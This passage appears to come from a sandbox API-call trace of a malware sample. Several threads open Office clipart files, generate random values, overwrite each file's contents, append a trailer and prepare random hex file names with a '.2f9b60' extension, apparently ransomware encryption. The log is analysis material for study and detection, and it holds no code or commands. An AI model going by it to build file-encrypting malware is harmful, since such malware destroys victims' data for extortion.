(in: hFile=0x2200, lpBuffer=0x241afa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x241afa48, lpOverlapped=0x0 | out: lpBuffer=0x241afa00*, lpNumberOfBytesRead=0x241afa48*=0x4, lpOverlapped=0x0) returned 1 [0150.508] FlushFileBuffers (hFile=0x2200) returned 1 [0150.510] CloseHandle (hObject=0x2200) returned 1 [0150.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60", dwFileAttributes=0x20) returned 1 [0150.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506e50) returned 1 Thread: id = 2390 os_tid = 0x1dbc [0150.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0150.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF", dwFileAttributes=0x20) returned 1 [0150.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2200 [0150.520] GetFileSizeEx (in: hFile=0x2200, lpFileSize=0x2e84fda0 | out: lpFileSize=0x2e84fda0*=13936) returned 1 [0150.520] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x366c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.520] ReadFile (in: hFile=0x2200, lpBuffer=0x2e84fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e84fd68, lpOverlapped=0x0 | out: lpBuffer=0x2e84fd20*, lpNumberOfBytesRead=0x2e84fd68*=0x4, lpOverlapped=0x0) returned 1 [0150.530] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0150.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0150.531] NtQuerySystemTime (in: CurrentTime=0x2e84fc60 | out: CurrentTime=0x2e84fc60*=132462177557422000) returned 0x0 [0150.531] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x4b8b21e4 [0150.531] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0xc3c7b31 [0150.531] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x368bf6dd [0150.531] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x6606c9fb [0150.531] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x67a2e40c [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x4c7a27c9 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x48fbf3ff [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x54234eb7 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x6eeff32a [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x17279500 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x5b7e6a4a [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x49c0cbb0 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x723f2918 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x6a46d9e1 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x3c4dd3ca [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x4a2ae435 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x61087486 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x3bdd6f5 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x67afc63c [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x1f78352b [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x1b029ad7 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x7348f603 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x4fd8ec27 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0xb4d5e0 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x2b8a280c [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x2184bf3b [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x2097a6aa [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x6c020afc [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x2e6732b1 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x51ac1151 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x6a9c8b61 [0150.532] RtlRandomEx (in: Seed=0x2e84fc50 | out: Seed=0x2e84fc50) returned 0x24aa8d99 [0150.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0150.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b4b0 [0150.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0150.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b4b0) returned 1 [0150.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0150.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058420 [0150.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b4b0 [0150.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42481150 [0150.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42484d60 [0150.541] ReadFile (in: hFile=0x2200, lpBuffer=0x42481150, nNumberOfBytesToRead=0x3670, lpNumberOfBytesRead=0x2e84fc50, lpOverlapped=0x0 | out: lpBuffer=0x42481150*, lpNumberOfBytesRead=0x2e84fc50*=0x3670, lpOverlapped=0x0) returned 1 [0150.546] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.546] WriteFile (hFile=0x2200, lpBuffer=0x42484d60, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x2e84fc54, lpOverlapped=0x0) [0186.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9770 [0186.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec97a0 [0186.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec97a0) returned 1 [0186.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42484d60) returned 1 [0186.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42481150) returned 1 [0186.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b4b0) returned 1 [0186.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058420) returned 1 [0186.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec97a0 [0186.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058420 [0186.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b4b0 [0186.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec97d0 [0186.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec97d0) returned 1 [0186.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec97d0 [0186.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9800 [0186.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9830 [0186.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9830) returned 1 [0186.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b4b0) returned 1 [0186.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058420) returned 1 [0186.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43100de0 [0186.436] SetFilePointerEx (in: hFile=0x2200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.436] WriteFile (in: hFile=0x2200, lpBuffer=0x43100de0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e84fd70, lpOverlapped=0x0 | out: lpBuffer=0x43100de0*, lpNumberOfBytesWritten=0x2e84fd70*=0x10a, lpOverlapped=0x0) returned 1 [0207.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500710 [0207.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500710) returned 1 [0207.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500710 [0207.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205006e0 [0207.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006e0) returned 1 [0207.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.179] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="63") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="d9") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="4f") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="27") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="02") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="fe") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="63") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="7b") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="44") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="d8") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="62") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="06") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="c1") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.179] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="c7") returned 2 [0207.180] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="0d") returned 2 [0207.180] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.180] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.180] RtlInitAnsiString (in: DestinationString=0x2e84fde8, SourceString="63d94f1dcdbc276b02fe637b44f4d86206c13a3ac70d6e4a" | out: DestinationString="63d94f1dcdbc276b02fe637b44f4d86206c13a3ac70d6e4a") [0207.180] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e84fdb8, SourceString="63d94f1dcdbc276b02fe637b44f4d86206c13a3ac70d6e4a", AllocateDestinationString=1 | out: DestinationString="63d94f1dcdbc276b02fe637b44f4d86206c13a3ac70d6e4a") returned 0x0 [0207.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8950 [0207.180] wcscat (in: _Dest=0x431c7300, _Source="63d94f1dcdbc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\63d94f1dcdbc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\63d94f1dcdbc" [0207.180] wcscat (in: _Dest=0x431c7300, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\63d94f1dcdbc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\63d94f1dcdbc.2f9b60" [0207.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\63d94f1dcdbc.2f9b60", NtPathName=0x2e84fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\63d94f1dcdbc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431291a0 Thread: id = 2391 os_tid = 0x1dc0 [0150.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0150.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF", dwFileAttributes=0x20) returned 1 [0150.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2204 [0150.544] GetFileSizeEx (in: hFile=0x2204, lpFileSize=0x2edefca0 | out: lpFileSize=0x2edefca0*=6938) returned 1 [0150.544] SetFilePointerEx (in: hFile=0x2204, liDistanceToMove=0x1b16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.544] ReadFile (in: hFile=0x2204, lpBuffer=0x2edefc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2edefc68, lpOverlapped=0x0 | out: lpBuffer=0x2edefc20*, lpNumberOfBytesRead=0x2edefc68*=0x4, lpOverlapped=0x0) returned 1 [0150.547] SetFilePointerEx (in: hFile=0x2204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0150.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f47e0 [0150.547] NtQuerySystemTime (in: CurrentTime=0x2edefb60 | out: CurrentTime=0x2edefb60*=132462177557578000) returned 0x0 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0xe96ae70 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x3cbe6f4b [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x3aa32302 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x3ec31c64 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x30379db1 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x3c441219 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x1b2c2a27 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0xc08679a [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x4bfe8a8b [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x393b8f77 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x76b4c9e0 [0150.547] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x3987ed1b [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x4557a2ca [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x3a9c2c75 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x41b86b4a [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x42871b87 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x32fedb80 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x5acddb4f [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x778353b5 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x12a0f18f [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x358bc316 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x111c8683 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x16e50902 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x4c4bab1b [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x6a1490bc [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x3c2c4830 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x29db2f2f [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x6e4a7e68 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x11d24152 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x2749cdf3 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x68720f03 [0150.548] RtlRandomEx (in: Seed=0x2edefb50 | out: Seed=0x2edefb50) returned 0x21fa0d0 [0150.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4870 [0150.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b530 [0150.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f48a0 [0150.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b530) returned 1 [0150.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f47e0) returned 1 [0150.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058470 [0150.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b530 [0150.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42488970 [0150.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4248c580 [0150.559] ReadFile (in: hFile=0x2204, lpBuffer=0x42488970, nNumberOfBytesToRead=0x1b1a, lpNumberOfBytesRead=0x2edefb50, lpOverlapped=0x0 | out: lpBuffer=0x42488970*, lpNumberOfBytesRead=0x2edefb50*=0x1b1a, lpOverlapped=0x0) returned 1 [0150.564] SetFilePointerEx (in: hFile=0x2204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.564] WriteFile (hFile=0x2204, lpBuffer=0x4248c580, nNumberOfBytesToWrite=0x1b1a, lpNumberOfBytesWritten=0x2edefb54, lpOverlapped=0x0) [0186.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9fe0 [0186.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca010 [0186.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca010) returned 1 [0186.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4248c580) returned 1 [0186.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42488970) returned 1 [0186.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b530) returned 1 [0186.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058470) returned 1 [0186.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ceca010 [0186.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058470 [0186.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b530 [0186.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca040 [0186.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca040) returned 1 [0186.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ceca040 [0186.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca070 [0186.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca0a0 [0186.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca0a0) returned 1 [0186.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b530) returned 1 [0186.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058470) returned 1 [0186.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43101920 [0186.534] SetFilePointerEx (in: hFile=0x2204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.534] WriteFile (in: hFile=0x2204, lpBuffer=0x43101920*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2edefc70, lpOverlapped=0x0 | out: lpBuffer=0x43101920*, lpNumberOfBytesWritten=0x2edefc70*=0x10a, lpOverlapped=0x0) returned 1 [0207.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4390 [0207.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4390) returned 1 [0207.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4390 [0207.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4360 [0207.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4360) returned 1 [0207.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.235] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="8c") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="f3") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="09") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="4c") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="65") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="81") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="f8") returned 2 [0207.235] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="8b") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="4f") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="4c") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="0d") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d052, 